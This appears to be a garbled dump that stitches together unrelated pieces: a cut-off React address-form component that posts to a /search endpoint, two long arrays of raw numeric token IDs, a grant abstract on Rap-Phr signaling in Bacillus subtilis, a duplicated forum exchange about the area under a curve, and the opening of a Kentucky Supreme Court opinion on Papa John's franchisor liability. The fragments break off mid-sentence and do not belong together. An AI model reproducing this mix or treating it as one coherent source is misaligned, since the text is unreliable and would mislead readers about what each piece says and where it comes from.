constructor(props){ super(props) this.state = { address: '', city: '', state: '' } } handleOnChange = event => { this.setState({ [event.target.name]: event.target.value }); } submit = ({ address='', city='', state=''}) => { // console.log(`state: ${this.state.address}`) let error = {}; let isError = false; if (address.trim() === '') { error.address = 'Required'; isError = true; } if (city.trim() === '') { error.city = 'Required'; isError = true; } if (state.trim() === '') { error.state = 'Required'; isError = true; } if (isError) { throw new SubmissionError(error); } else { console.log(this.props) apiRequest.post(`/search`, this.state) console.log(this.props) this.setState({ address: '', city: '', state: ''}) } } render() { return ( <form onSubmit={ this.props.handleSubmit(this.submit) }> <Field name="address" label='Address:'component={renderField} type="text" onChange={this.handleOnChange} /> <Field name="city" label='City:'component={renderField} type="text" onChange={this.handleOnChange}/> <Field name="state" label='State:'component={renderField} type="text" onChange={this.handle
[ 8980, 281, 17314, 4324, 285, 1234, 560, 616, 4712, 15, 380, 4583, 4736, 273, 776, 2561, 310, 281, 3653, 849, 17314, 14, 2641, 83, 7601, 2718, 1159, 2543, 18260, 281, 14368, 10741, 2625, 28942, 15, 2596, 8578, 273, 17314, 4324, 18123, 23123, 24188, 1427, 275, 378, 15, 749, 1343, 261, 407, 3629, 253, 2281, 387, 534, 2101, 80, 17, 39, 13, 247, 4275, 2601, 275, 253, 24188, 1427, 2625, 28942, 7178, 13, 19889, 13505, 253, 372, 39715, 4004, 273, 247, 10545, 44928, 280, 3527, 15, 8035, 8578, 273, 17314, 4324, 1066, 1747, 17815, 253, 2440, 273, 6380, 30281, 275, 378, 15, 749, 1343, 261, 407, 24468, 1176, 34, 13, 253, 6303, 18304, 19768, 273, 2393, 30281, 3320, 2048, 13, 432, 4865, 281, 2303, 3882, 28960, 15, 14117, 378, 15, 749, 1343, 261, 17314, 4324, 326, 403, 417, 5705, 273, 8993, 1263, 275, 436, 10419, 14368, 253, 16239, 273, 6380, 3603, 285, 13878, 907, 253, 2425, 273, 9464, 2616, 643, 685, 1176, 34, 15, 733, 310, 1774, 432, 247, 1345, 1786, 32764, 281, 3653, 849, 17314, 4324, 14368, 10741, 2625, 28942, 984, 17314, 4324, 14368, 31402, 21903, 275, 23551, 16711, 15, 1198, 1650, 13, 24188, 1427, 310, 47960, 275, 378, 27755, 13950, 8306, 261, 13, 253, 47113, 5570, 273, 253, 2728, 13950, 31097, 13, 407, 17314, 4324, 16202, 327, 697, 15406, 285, 31402, 18242, 13, 268, 57, 520, 15, 831, 32070, 310, 2424, 323, 378, 15, 13950, 8306, 261, 281, 2489, 23551, 8466, 800, 1341, 275, 253, 9813, 3167, 15, 1359, 17314, 4324, 1159, 2543, 18260, 281, 14368, 253, 11117, 4712, 273, 616, 2303, 4324, 310, 417, 7192, 15, 14522, 13, 1777, 83, 15015, 403, 4561, 407, 271, 13474, 24988, 7178, 432, 1355, 4324, 16202, 407, 3608, 326, 14787, 342, 253, 495, 990, 273, 253, 17845, 3608, 15, 353, 1177, 1777, 83, 15482, 2259, 18238, 8094, 403, 21117, 715, 253, 894, 835, 597, 8980, 281, 17314, 4324, 285, 15582, 616, 4016, 10545, 2538, 327, 3320, 2048, 15, 496, 35291, 337, 359, 588, 3653, 849, 17314, 36, 18123, 23123, 6380, 30281, 275, 378, 15, 749, 1343, 261, 407, 24468, 253, 4865, 273, 1176, 34, 281, 2303, 3882, 28960, 285, 671, 921, 849, 253, 27668, 2625, 13, 1777, 83, 36, 13, 18653, 6380, 30281, 407, 24468, 253, 5016, 273, 17314, 36, 285, 1176, 34, 15, 496, 35291, 374, 359, 588, 10313, 849, 17314, 34, 21425, 378, 15, 749, 1343, 261, 24188, 1427, 407, 3629, 253, 2281, 273, 2101, 80, 17, 39, 372, 39715, 4004, 285, 671, 3653, 849, 253, 27668, 2625, 13, 1777, 83, 34, 13, 14757, 24188, 1427, 407, 24468, 253, 5016, 273, 17314, 34, 285, 2101, 80, 17, 39, 15, 380, 1594, 14, 1402, 14666, 5576, 13, 19183, 13, 285, 10741, 6380, 2175, 4081, 1060, 588, 10313, 13, 323, 253, 806, 673, 13, 849, 17314, 4324, 14368, 253, 4712, 273, 616, 2303, 4324, 285, 849, 1777, 83, 15015, 15582, 17314, 2601, 1159, 15, 33084, 4052, 253, 5787, 6297, 273, 17314, 14, 2641, 83, 1159, 588, 8046, 441, 281, 14294, 776, 1048, 14, 3945, 4736, 273, 20462, 38122, 5835, 326, 28498, 10741, 2625, 28942, 15, 4497, 13, 672, 4560, 253, 2170, 762, 247, 6970, 512, 368, 452, 281, 513, 310, 1089, 253, 2170, 762, 253, 1755, 6970, 285, 840, 43444, 253, 2170, 432, 253, 5004, 6970, 28, 187, 601, 13, 432, 428, 18, 281, 495, 359, 923, 326, 253, 1755, 6970, 310, 253, 1269, 14, 10565, 285, 253, 5004, 6970, 310, 269, 9, 89, 582, 840, 432, 495, 281, 577, 253, 1755, 6970, 604, 269, 9, 89, 10, 285, 253, 5004, 6970, 310, 340, 30, 17, 187, 187, 4497, 13, 672, 4560, 253, 2170, 762, 247, 6970, 512, 368, 452, 281, 513, 310, 1089, 253, 2170, 762, 253, 1755, 6970, 285, 840, 43444, 253, 2170, 432, 253, 5004, 6970, 28, 187, 601, 13, 432, 428, 18, 281, 495, 359, 923, 326, 253, 1755, 6970, 310, 253, 1269, 14, 10565, 285, 253, 5004, 6970, 310, 269, 9, 89, 582, 840, 432, 495, 281, 577, 253, 1755, 6970, 604, 269, 9, 89, 10, 285, 253, 5004, 6970, 310, 340, 30, 17, 187, 187, 35501, 594, 1199, 13, 2789, 3282, 13, 347, 309, 369, 2820, 281, 789, 562, 253, 4898, 273, 253, 19037, 13, 285, 417, 2970, 9825, 15, 187, 187, 9917, 752, 310, 253, 5150, 273, 436, 4951, 1386, 32, 187, 187, 6300, 281, 19148, 13, 812, 359, 452, 671, 4307, 562, 835, 436, 4951, 1386, 23965, 84, 253, 6970, 13, 3103, 253, 4898, 13, 285, 897, 326, 281, 1089, 253, 2170, 390, 253, 19037, 285, 823, 352, 281, 253, 2170, 273, 253, 6970, 13, 1119, 407, 9554, 32, 187, 187, 35501, 594, 1199, 13, 2789, 3282, 13, 347, 309, 369, 2820, 281, 789, 562, 253, 4898, 273, 253, 19037, 13, 285, 417, 2970, 9825, 15, 187, 187, 9917, 752, 310, 253, 5150, 273, 436, 4951, 1386, 32, 187, 187, 6300, 281, 19148, 13, 812, 359, 452, 671, 4307, 562, 835, 436, 4951, 1386, 23965, 84, 253, 6970, 13, 3103, 253, 4898, 13, 285, 897, 326, 281, 1089, 253, 2170, 390, 253, 19037, 285, 823, 352, 281, 253, 2170, 273, 253, 6970, 13, 1119, 407, 9554, 32, 187, 187, 2513, 436, 247, 3588, 1332, 347, 4714, 32, 187, 187, 510, 2170, 275, 253, 987, 273, 253, 5406, 310, 417, 247, 19037, 13, 594, 368, 476, 626, 1089, 253, 4898, 390, 2712, 751, 326, 2064, 2170, 310, 1160, 407, 247, 6970, 285, 247, 1386, 15, 187, 187, 42, 1158, 253, 1682, 1039, 281, 8415, 436, 2238, 273, 3237, 310, 752, 24834, 13678, 2692, 281, 368, 187, 21149, 322, 15, 56, 15, 20, 69, 7127, 313, 8012, 10, 187, 49, 2088, 34, 48488, 8, 52, 22508, 47, 41043, 13, 21346, 15, 285, 416, 16594, 13, 3690, 904, 277, 16, 67, 16, 66, 40208, 2516, 434, 45463, 13, 27528, 187, 87, 15, 187, 49085, 3044, 5915, 58, 13, 22706, 15, 187, 2302, 15, 5826, 14, 4061, 14, 19035, 1047, 14, 33765, 15, 187, 31177, 2111, 273, 18370, 15, 187, 22423, 2164, 13, 4695, 15, 187, 11, 2950, 35685, 367, 15, 32319, 538, 319, 25928, 13, 34819, 416, 15, 378, 3920, 1342, 13, 31472, 14272, 353, 7937, 13, 35038, 30735, 39914, 708, 26145, 13, 45479, 36, 13, 39492, 13, 47500, 13, 19330, 323, 9517, 40208, 2516, 434, 5625, 13, 3690, 15, 187, 49, 312, 7896, 308, 15, 2552, 13, 444, 5969, 444, 15, 5418, 14814, 13, 28084, 2552, 5405, 38541, 13, 367, 15, 52, 15, 36, 904, 367, 2804, 6169, 13, 47500, 13, 19330, 323, 9517, 416, 16594, 13, 3690, 904, 277, 16, 67, 16, 66, 40208, 2516, 434, 45463, 15, 187, 36, 15, 7195, 388, 646, 316, 13, 43522, 322, 15, 19967, 2327, 13, 388, 646, 316, 708, 19967, 2327, 13, 45479, 36, 13, 39492, 13, 47500, 13, 19330, 323, 22706, 15, 187, 43, 15, 12808, 411, 13749, 13, 24518, 411, 13749, 13, 45479, 36, 13, 39492, 13, 47500, 13, 5119, 500, 15, 611, 21393, 8420, 13, 10213, 443, 786, 249, 13, 15273, 353, 15, 19787, 2205, 13, 611, 21393, 8420, 13, 5721, 7068, 13, 714, 4988, 13, 443, 786, 249, 708, 6625, 37267, 13, 41439, 13, 1457, 2816, 13, 10310, 13, 19330, 323, 3052, 23301, 11579, 18620, 5625, 1879, 3903, 885, 7115, 15, 187, 7912, 16231, 378, 15, 3619, 35406, 13, 13651, 500, 15, 6956, 265, 254, 13, 399, 968, 3062, 708, 1608, 37844, 13, 41439, 13, 24766, 16240, 13, 47500, 13, 19330, 323, 3052, 23301, 11579, 18620, 18370, 23119, 273, 20249, 15, 187, 48, 22104, 273, 253, 2111, 407, 8293, 353, 7999, 1139, 15, 187, 187, 42, 15, 39507, 15, 187, 187, 1552, 310, 247, 1083, 7668, 253, 2523, 273, 14754, 9570, 15951, 37993, 9781, 13, 271, 2523, 273, 806, 13214, 275, 18370, 15, 733, 15877, 275, 253, 3634, 273, 247, 24764, 14079, 285, 809, 20717, 15091, 4724, 407, 247, 7731, 347, 247, 906, 273, 247, 40208, 2516, 434, 22534, 6742, 4783, 3430, 15, 187, 11, 2504, 380, 7731, 8927, 23460, 253, 6742, 6254, 285, 40208, 2516, 434, 5625, 13, 3690, 904, 23962, 326, 40208, 2516, 434, 369, 15951, 274, 8140, 15922, 347, 253, 6254, 434, 11169, 15, 380, 6254, 434, 11169, 13, 2299, 13, 369, 416, 16594, 13, 3690, 904, 247, 40208, 2516, 434, 17117, 70, 15, 13162, 13, 253, 7731, 4724, 1529, 15091, 1411, 416, 16594, 28, 285, 253, 5049, 1302, 33114, 253, 2219, 15, 380, 5049, 1302, 7169, 6010, 3883, 275, 3718, 273, 416, 16594, 285, 40208, 2516, 434, 323, 2710, 4606, 13, 534, 359, 588, 2319, 275, 253, 1563, 7118, 273, 436, 4743, 15, 380, 2111, 273, 9892, 13, 2299, 13, 16337, 275, 629, 285, 13891, 275, 629, 347, 281, 1097, 416, 16594, 285, 40208, 2516, 434, 13, 26215, 326, 13241, 3374, 273, 2144, 958, 38932, 6010, 3883, 15, 187, 1909, 310, 973, 14, 12569, 1070, 275, 776, 1083, 1569, 13, 253, 6254, 434, 11169, 13, 416, 16594, 13, 310, 2256, 281, 15951, 37993, 9781, 323, 247, 9810, 7730, 407, 697, 8183, 8534, 1561, 253, 7990, 273, 8410, 15, 844, 7525, 326, 253, 6993, 19375, 273, 1060, 5866, 1561, 271, 3907, 2282, 273, 2589, 326, 812, 417, 452, 644, 6034, 407, 253, 6254, 281, 5752, 667, 4096, 273, 253, 11169, 15, 1893, 13, 3738, 323, 1027, 4606, 326, 359, 588, 2319, 2708, 13, 359, 7525, 326, 253, 5049, 1302, 6283, 7169, 6010, 3883, 29999, 253, 24764, 14079, 1750, 1411, 416, 16594, 15, 10022, 13, 359, 8107, 253, 2111, 273, 9892, 347, 281, 416, 16594, 15, 187, 510, 5049, 1302, 285, 253, 2111, 273, 9892, 9713, 253, 15951, 37993, 9781, 273, 40208, 2516, 434, 970, 247, 6804, 7351, 273, 1183, 19070, 255, 8936, 285, 27723, 35418, 6757, 9241, 15, 15797, 2278, 13, 359, 7525, 326, 359, 1364, 1379, 247, 625, 10799, 2746, 1677, 253, 12980, 28780, 273, 253, 17117, 1332, 273, 2509, 2136, 275, 18370, 15, 1916, 326, 990, 13, 359, 5283, 247, 4086, 275, 534, 253, 14754, 9570, 310, 15951, 274, 8140, 15922, 323, 253, 9810, 784, 2589, 273, 253, 17117, 70, 672, 352, 13, 275, 958, 13, 556, 1453, 390, 987, 273, 1453, 689, 253, 5312, 4254, 273, 253, 2173, 4809, 273, 253, 17117, 70, 434, 2136, 326, 310, 5575, 281, 452, 4269, 253, 5237, 15, 40208, 2516, 434, 574, 642, 1453, 689, 253, 22534, 6742, 6254, 434, 22991, 13, 9810, 784, 2589, 275, 436, 1083, 15, 1893, 40208, 2516, 434, 2550, 320, 2918, 15951, 274, 8140, 15922, 15, 4129, 323, 1027, 4606, 326, 359, 588, 2319, 2708, 13, 359, 7525, 326, 253, 5049, 1302, 6283, 7169, 6010, 3883, 29999, 253, 24764, 14079, 285, 809, 20717, 3916, 1411, 40208, 2516, 434, 15, 10022, 13, 359, 8107, 253, 2111, 273, 9892, 347, 281, 40208, 2516, 434, 15, 187, 187, 2267, 15, 10601, 33949, 4889, 25717, 1703, 48160, 388, 6905, 15258, 2949, 3003, 32984, 14732, 15, 187, 187, 49085, 46801, 310, 247, 14544, 273, 31291, 790, 6121, 13, 18370, 15, 754, 21186, 767, 9341, 13, 247, 18572, 5148, 28604, 2567, 285, 247, 15067, 6500, 458, 2355, 2567, 904, 1623, 253, 7237, 273, 5080, 1283, 13, 5307, 13, 344, 369, 2444, 3563, 387, 253, 18572, 5148, 2136, 15, 3900, 344, 369, 2444, 13, 521, 4475, 1925, 779, 670, 8955, 285, 2183, 779, 326, 703, 651, 751, 281, 452, 40208, 2516, 434, 22534, 13, 534, 597, 574, 1620, 3597, 15, 3032, 4475, 2546, 779, 281, 1340, 581, 22534, 323, 731, 323, 6742, 281, 616, 1728, 285, 1529, 22534, 323, 616, 2419, 20984, 323, 6742, 281, 617, 1728, 15, 754, 6960, 253, 268, 11114, 284, 432, 247, 40208, 2516, 434, 4657, 13, 3192, 690, 673, 281, 40279, 670, 849, 253, 4657, 4845, 253, 13835, 12355, 327, 253, 22534, 13, 285, 873, 598, 253, 767, 40547, 15, 1244, 344, 2546, 604, 253, 6742, 6254, 812, 3523, 745, 387, 521, 2136, 323, 7830, 984, 521, 4475, 858, 417, 452, 667, 2583, 342, 617, 15, 380, 4657, 4767, 326, 352, 812, 16041, 342, 521, 2710, 9762, 15, 187, 510, 6742, 6254, 326, 2360, 369, 29443, 437, 29053, 15, 29053, 8549, 253, 767, 268, 11114, 284, 285, 840, 6331, 387, 46801, 434, 2136, 323, 7830, 15, 29053, 285, 46801, 2028, 767, 6281, 273, 752, 5866, 1735, 13, 3738, 616, 9508, 403, 417, 7094, 1027, 15, 187, 7130, 281, 46801, 13, 846, 46801, 5087, 779, 13, 29053, 6376, 387, 46801, 434, 2136, 275, 46801, 434, 3906, 285, 39257, 670, 8410, 15, 475, 2385, 46801, 369, 638, 32980, 342, 643 ]	bind to Rap proteins and repress their activities. The overall goal of our research is to determine how Rap-Phr signaling systems function mechanistically to regulate bacterial signal transduction. One subset of Rap proteins negatively regulates sporulation in B. subtilis by increasing the rate at which Spo0F, a central protein in the sporulation signal transduction pathway, catalyzes the dephosphorylation of a regulatory aspartic acid. Another subset of Rap proteins downregulates the development of genetic competence in B. subtilis by inhibiting ComA, the master transcriptional regulator of early competence gene expression, from binding to target DNA promoters. Additional B. subtilis Rap proteins that are not subjects of immediate study in this proposal regulate the mobility of genetic elements and antagonize the activity of transcription factors other than ComA. It is important from a public health standpoint to determine how Rap proteins regulate bacterial signal transduction because Rap proteins regulate virulence phenotypes in pathogenic organisms. For example, sporulation is repressed in Bacillus anthracis, the causative agent of the disease anthrax, by Rap proteins encoded on its chromosome and virulence plasmid, pX01. This repression is required for B. anthracis to become pathogenic vegetative cells in the infected host. How Rap proteins function mechanistically to regulate the diverse activities of their target proteins is not understood. Interestingly, Phr peptides are generated by an export maturation pathway from small proteins encoded by genes that overlap with the 3 end of the rap genes. Mature Phr pentapeptide molecules are imported into the cell where they bind to Rap proteins and inhibit their negative regulatory effects on gene expression. In Aim 1 we will determine how RapC negatively regulates genetic competence in B. subtilis by inhibiting the binding of ComA to target DNA promoters and also show how the secreted signal, PhrC, promotes genetic competence by inhibiting the interaction of RapC and ComA. In Aim 2 we will reveal how RapA inhibits B. subtilis sporulation by increasing the rate of Spo0F dephosphorylation and also determine how the secreted signal, PhrA, induces sporulation by inhibiting the interaction of RapA and Spo0F. The X-ray crystallographic, biochemical, and bacterial genetic studies proposed here will reveal, for the first time, how Rap proteins regulate the activities of their target proteins and how Phr peptides inhibit Rap protein function. Revealing the molecular mechanisms of Rap-Phr function will enable us to accomplish our long-term goal of designing antibacterial drugs that modulate bacterial signal transduction.Well, when finding the area under a curve all you have to do is find the area under the top curve and then subtract the area from the bottom curve; so, from -1 to 3 we see that the top curve is the x-axis and the bottom curve is f(x), then from 3 to 4 the top curve if f(x) and the bottom curve is y=0 Well, when finding the area under a curve all you have to do is find the area under the top curve and then subtract the area from the bottom curve; so, from -1 to 3 we see that the top curve is the x-axis and the bottom curve is f(x), then from 3 to 4 the top curve if f(x) and the bottom curve is y=0 thanks so much, makes sense, as I was trying to work out the height of the triangle, and not getting anywhere. Also what is the equation of this straight line? Just to clarify, could we have also worked out where this straight line intersects the curve, therefore the height, and use that to find the area or the triangle and add it to the area of the curve, found by integration? thanks so much, makes sense, as I was trying to work out the height of the triangle, and not getting anywhere. Also what is the equation of this straight line? Just to clarify, could we have also worked out where this straight line intersects the curve, therefore the height, and use that to find the area or the triangle and add it to the area of the curve, found by integration? Is this a valid method aswell? The area in the right of the picture is not a triangle, so you can't find the height or anything like that That area is made by a curve and a line. I think the best way to solve this kind of problems is what sponsoredwalk showed to you 244 S.W.3d 44 (2008) PAPA JOHN'S INTERNATIONAL, INC. and RWT, Inc., d/b/a Papa John's Pizza, Appellants v. Gary McCOY, Appellee. No. 2005-SC-000614-DG. Supreme Court of Kentucky. January 24, 2008. 46 Janet P. Jakubowicz, Brent R. Baughman, Jesse Allen Mudd, Greenebaum Doll & McDonald, PLLC, Louisville, KY, Counsel for Appellant Papa John's International, Inc. Pamela T. May, Erich E. Blackburn, Pam May Law Firm, P.S.C., Pikeville, KY, Counsel for Appellant RWT, Inc., d/b/a Papa John's Pizza. C. Thomas Hectus, Randall S. Strause, Hectus & Strause, PLLC, Louisville, KY, Counsel for Appellee. J. Kent Wicker, Reed Wicker, PLLC, Louisville, KY, David J. Kaufmann, Daniel Gildin, Kevin M. Shelley, Kaufmann, Feiner, Yamin, Gildin & Robbins, LLP, New York, NY, Counsel for Amicus Curiae International Franchise Association. Barbara B. Edelman, Alexander J. Moeser, Dinsmore & Shohl, LLP, Lexington, KY, Counsel for Amicus Curiae Kentucky Chamber of Commerce. Opinion of the Court by Justice MINTON. I. INTRODUCTION. This is a case involving the issue of franchisor vicarious liability, an issue of first impression in Kentucky. It arises in the context of a malicious prosecution and defamation lawsuit filed by a customer as a result of a Papa John's pizza delivery gone wrong. 47 The customer originally sued the delivery driver and Papa John's International, Inc., alleging that Papa John's was vicariously liable as the driver's employer. The driver's employer, however, was RWT, Inc., a Papa John's franchisee. Consequently, the customer filed another lawsuit against RWT; and the circuit court consolidated the cases. The circuit court granted summary judgment in favor of RWT and Papa John's for various reasons, which we will discuss in the following sections of this opinion. The Court of Appeals, however, affirmed in part and reversed in part as to both RWT and Papa John's, concluding that genuine issues of material fact precluded summary judgment. As is well-settled in our case law, the driver's employer, RWT, is subject to vicarious liability for a tort committed by its employee acting within the scope of employment. We conclude that the acts complained of here occurred within an independent course of conduct that could not have been intended by the driver to serve any purpose of the employer. So, although for different reasons that we will discuss below, we conclude that the circuit court properly granted summary judgment dismissing the malicious prosecution claim against RWT. Accordingly, we reverse the Court of Appeals as to RWT. The circuit court and the Court of Appeals addressed the vicarious liability of Papa John's using a mixed bag of respondeat superior and ostensible agency principles. Upon review, we conclude that we must take a more precise approach given the ubiquity of the franchise method of doing business in Kentucky. To that end, we adopt a rule in which the franchisor is vicariously liable for the tortious conduct of the franchisee when it, in fact, has control or right of control over the daily operation of the specific aspect of the franchisee's business that is alleged to have caused the harm. Papa John's had no control over the pizza delivery driver's intentional, tortious conduct in this case. So Papa John's cannot be held vicariously liable. Although for different reasons that we will discuss below, we conclude that the circuit court properly granted summary judgment dismissing the malicious prosecution and defamation claims against Papa John's. Accordingly, we reverse the Court of Appeals as to Papa John's. II. FACTS AND PROCEDURAL HISTORY IN THE CIRCUIT COURT. Gary McCoy is a resident of Prestonsburg, Kentucky. He owns two businesses, a scrap metal recycling company and a mining equipment leasing company., On the evening of February 18, 2000, he was working late at the scrap metal business. While he was working, his wife called him about dinner and told him that she would like to have Papa John's pizza, which they had never tried. His wife asked him to order one pizza for them for delivery to their home and another pizza for their housekeeper for delivery to her home. He ordered the pizzas from a Papa John's store, taking some time to inquire about how the store placed the pepperoni on the pizza, and set up the two deliveries. And he asked if the delivery driver could stop off at his business for payment because his wife did not have any money with her. The store stated that it could comply with his various requests. The delivery driver that night was Wendell Burke. Burke delivered the two pizzas and then stopped at McCoy's business for payment. Burke and McCoy tell two stories of what occurred next, although their versions are not entirely different. According to McCoy, after McCoy paid him, Burke remained at McCoy's business in McCoy's office and inquired about employment. *48 McCoy was preoccupied with other
[ 281, 871, 3253, 670, 616, 2208, 13, 1175, 285, 3076, 13, 703, 753, 32300, 14067, 512, 253, 9437, 387, 1453, 13, 309, 4821, 281, 789, 1293, 4709, 285, 1900, 4934, 253, 952, 275, 2564, 15, 4129, 13, 309, 3260, 253, 40043, 2523, 651, 25189, 1664, 2378, 359, 3863, 1633, 253, 9165, 7789, 3815, 858, 417, 751, 1806, 5706, 825, 10633, 753, 15, 773, 42, 452, 642, 1921, 281, 10913, 619, 1481, 1066, 15, 1621, 581, 369, 2104, 281, 18230, 619, 18035, 285, 309, 1669, 342, 619, 12974, 15282, 15, 1310, 309, 4136, 253, 5286, 281, 260, 11313, 253, 2929, 309, 651, 417, 320, 2104, 281, 1007, 387, 4266, 390, 1007, 387, 253, 26903, 2758, 8958, 616, 11547, 369, 18748, 15, 309, 651, 642, 3356, 320, 247, 17264, 13, 533, 7960, 247, 4968, 1425, 37070, 3454, 48015, 13, 665, 369, 253, 11547, 457, 84, 12726, 285, 19908, 9558, 13, 310, 1024, 253, 8121, 15, 5564, 187, 187, 5564, 187, 187, 9133, 428, 495, 31819, 28474, 64, 3418, 428, 6810, 236, 146, 114, 26344, 146, 110, 147, 213, 21062, 146, 118, 21677, 146, 115, 20770, 3418, 64, 28474, 428, 432, 313, 2904, 19100, 10, 285, 313, 2125, 740, 10, 3675, 14326, 428, 714, 261, 376, 8, 2585, 69, 2649, 428, 8256, 35396, 1999, 428, 340, 261, 14, 2040, 14, 1079, 8, 2003, 64, 1171, 64, 48460, 428, 1294, 468, 9424, 12962, 1291, 249, 383, 64, 1545, 428, 432, 7539, 2904, 19100, 6234, 285, 7539, 2125, 740, 6234, 28, 344, 588, 4086, 347, 2656, 28, 500, 261, 4690, 13, 247, 9484, 474, 1416, 273, 14737, 28, 671, 313, 42623, 10, 273, 521, 20731, 414, 27, 1969, 25054, 15, 3123, 37, 64, 1545, 428, 5143, 426, 346, 13618, 1404, 5351, 3, 187, 187, 783, 1273, 1416, 323, 14737, 1677, 281, 779, 407, 2656, 846, 521, 28508, 342, 253, 23087, 387, 7009, 928, 187, 187, 783, 1416, 273, 253, 32148, 285, 253, 5674, 273, 253, 32148, 273, 14737, 187, 187, 783, 1416, 273, 253, 5674, 1919, 253, 2471, 273, 31049, 285, 253, 8085, 187, 187, 783, 1416, 908, 285, 1677, 281, 253, 11186, 18794, 11253, 273, 253, 884, 23206, 762, 5633, 34549, 312, 28, 253, 11053, 18794, 369, 1929, 347, 49548, 187, 187, 783, 1416, 273, 253, 5674, 846, 253, 1091, 432, 33927, 187, 187, 14376, 428, 4857, 428, 340, 2203, 428, 17579, 1545, 24285, 14326, 6302, 13618, 1404, 5351, 6624, 14458, 6302, 248, 588, 4086, 347, 2656, 28, 500, 261, 376, 10093, 77, 13, 247, 9484, 474, 1416, 273, 14737, 28, 671, 313, 42623, 10, 273, 521, 20731, 414, 6624, 5056, 46576, 783, 1273, 1416, 323, 14737, 1677, 281, 779, 407, 2656, 846, 521, 28508, 342, 253, 23087, 387, 7009, 928, 6624, 783, 1416, 273, 253, 32148, 285, 253, 5674, 273, 253, 32148, 273, 14737, 995, 9855, 783, 1416, 273, 253, 5674, 1919, 253, 2471, 273, 31049, 285, 253, 8085, 6624, 783, 1416, 908, 285, 1677, 281, 253, 11186, 18794, 11253, 273, 253, 884, 23206, 762, 5633, 34549, 312, 28, 253, 11053, 18794, 369, 1929, 347, 49548, 6624, 783, 1416, 273, 253, 5674, 846, 253, 1091, 432, 33927, 3, 9502, 94, 937, 46229, 6302, 4064, 388, 3507, 1438, 285, 388, 2125, 740, 6624, 1087, 251, 328, 24285, 532, 66, 6302, 75, 133, 105, 133, 107, 15, 83, 133, 231, 135, 227, 135, 219, 134, 231, 293, 6624, 532, 66, 64, 2307, 6302, 75, 261, 15, 134, 212, 133, 228, 135, 227, 135, 219, 134, 231, 293, 6624, 84, 1559, 6302, 28212, 12040, 83, 5617, 134, 124, 15194, 77, 6624, 69, 280, 6302, 90, 261, 14, 2040, 14, 23502, 6624, 69, 280, 64, 2307, 6302, 90, 4317, 14, 376, 14, 23502, 3, 599, 316, 1131, 428, 5143, 77, 28, 412, 43330, 1251, 571, 46219, 412, 40635, 1662, 665, 66, 326, 4453, 1663, 1663, 44294, 2, 24744, 2389, 253, 30553, 273, 19445, 285, 253, 38811, 310, 16383, 18963, 4672, 187, 187, 34, 12155, 73, 13, 671, 519, 410, 8377, 264, 251, 434, 403, 247, 2257, 1145, 309, 16, 48, 13800, 5049, 323, 247, 10236, 3541, 2813, 17209, 275, 247, 1072, 941, 19477, 4438, 281, 13185, 8931, 941, 281, 512, 21012, 941, 23444, 285, 247, 1027, 941, 19477, 4438, 281, 13185, 1027, 941, 281, 9701, 21012, 941, 23444, 2391, 2413, 1358, 2700, 15, 9906, 15, 681, 16, 4066, 592, 16, 3016, 2090, 25289, 2222, 32, 307, 78, 64, 6756, 30, 20773, 14, 72, 11095, 14, 18316, 40504, 1982, 2090, 25289, 2222, 428, 309, 16, 48, 13800, 5049, 323, 247, 10236, 3541, 2813, 187, 187, 1145, 309, 16, 48, 13800, 5049, 323, 247, 10236, 3541, 2813, 17209, 275, 247, 1072, 941, 19477, 4438, 281, 13185, 8931, 941, 281, 512, 21012, 941, 23444, 285, 247, 1027, 941, 19477, 4438, 281, 13185, 1027, 941, 281, 9701, 21012, 941, 23444, 15, 187, 187, 66, 3923, 29810, 12956, 281, 13398, 6024, 1453, 6298, 285, 3453, 247, 1071, 4438, 3923, 28, 187, 187, 66, 1071, 4438, 1453, 3943, 12956, 281, 6635, 247, 19477, 2625, 323, 10938, 247, 19477, 4254, 285, 247, 19477, 4438, 2625, 323, 32495, 247, 806, 19477, 4438, 275, 534, 8931, 941, 403, 12573, 281, 941, 6322, 3104, 432, 1273, 19477, 4438, 275, 534, 1027, 941, 403, 12573, 281, 9701, 941, 6322, 3104, 2556, 281, 253, 1071, 4438, 3923, 285, 12453, 28, 187, 187, 66, 4438, 29810, 12956, 281, 30358, 253, 19477, 2625, 285, 253, 19477, 4438, 2625, 285, 281, 3453, 247, 1072, 19477, 2625, 323, 10938, 253, 19477, 4254, 275, 247, 806, 19477, 4438, 285, 247, 1027, 19477, 2625, 323, 10938, 253, 19477, 4254, 275, 253, 1273, 941, 19477, 4438, 28, 187, 187, 266, 3280, 3943, 12956, 281, 30358, 3280, 941, 3280, 3280, 8659, 3066, 309, 16, 48, 941, 23854, 13, 13185, 253, 3280, 941, 281, 941, 6322, 3104, 275, 247, 2622, 4438, 13, 13185, 253, 1072, 941, 3280, 8659, 3066, 253, 309, 16, 48, 941, 23854, 281, 253, 941, 6322, 3104, 275, 253, 806, 19477, 4438, 285, 3960, 1523, 30332, 253, 3280, 941, 281, 13185, 1027, 941, 281, 253, 9701, 941, 6322, 3104, 275, 253, 1273, 19477, 4438, 1754, 327, 253, 19477, 2625, 13, 253, 1072, 19477, 2625, 285, 253, 1027, 19477, 2625, 28, 285, 187, 187, 266, 3453, 3943, 12956, 281, 4446, 253, 941, 12573, 949, 253, 941, 6322, 3104, 285, 3453, 253, 941, 281, 253, 309, 16, 48, 941, 23854, 275, 253, 2622, 4438, 13, 1071, 253, 941, 12573, 949, 253, 941, 6322, 3104, 275, 253, 806, 19477, 4438, 2556, 281, 253, 19477, 2625, 285, 253, 19477, 4438, 2625, 13, 285, 294, 14, 249, 1748, 253, 28483, 941, 2190, 253, 941, 12573, 949, 253, 941, 6322, 3104, 13, 285, 1071, 253, 941, 275, 253, 1273, 19477, 4438, 15, 187, 187, 19, 15, 380, 5049, 2556, 281, 1750, 337, 13, 10646, 253, 1071, 4438, 1453, 3943, 12093, 27, 187, 187, 66, 19477, 2625, 11365, 3943, 12956, 281, 6635, 253, 19477, 2625, 281, 1453, 253, 19477, 4254, 2556, 281, 253, 1071, 4438, 3923, 285, 253, 12453, 28, 285, 187, 187, 66, 19477, 4438, 2625, 11365, 3943, 12956, 281, 3453, 253, 19477, 4438, 2625, 281, 12129, 253, 806, 19477, 4438, 432, 253, 1273, 19477, 4438, 2556, 281, 253, 1071, 4438, 3923, 285, 253, 12453, 15, 187, 187, 20, 15, 380, 5049, 2556, 281, 1750, 374, 13, 10646, 253, 19477, 2625, 11365, 3943, 2007, 12093, 247, 9317, 5049, 12956, 281, 40452, 13398, 253, 1071, 4438, 3923, 285, 253, 12453, 285, 281, 6635, 253, 19477, 2625, 15, 187, 187, 21, 15, 380, 5049, 2556, 281, 1750, 495, 13, 10646, 253, 9317, 5049, 12093, 27, 187, 187, 66, 806, 427, 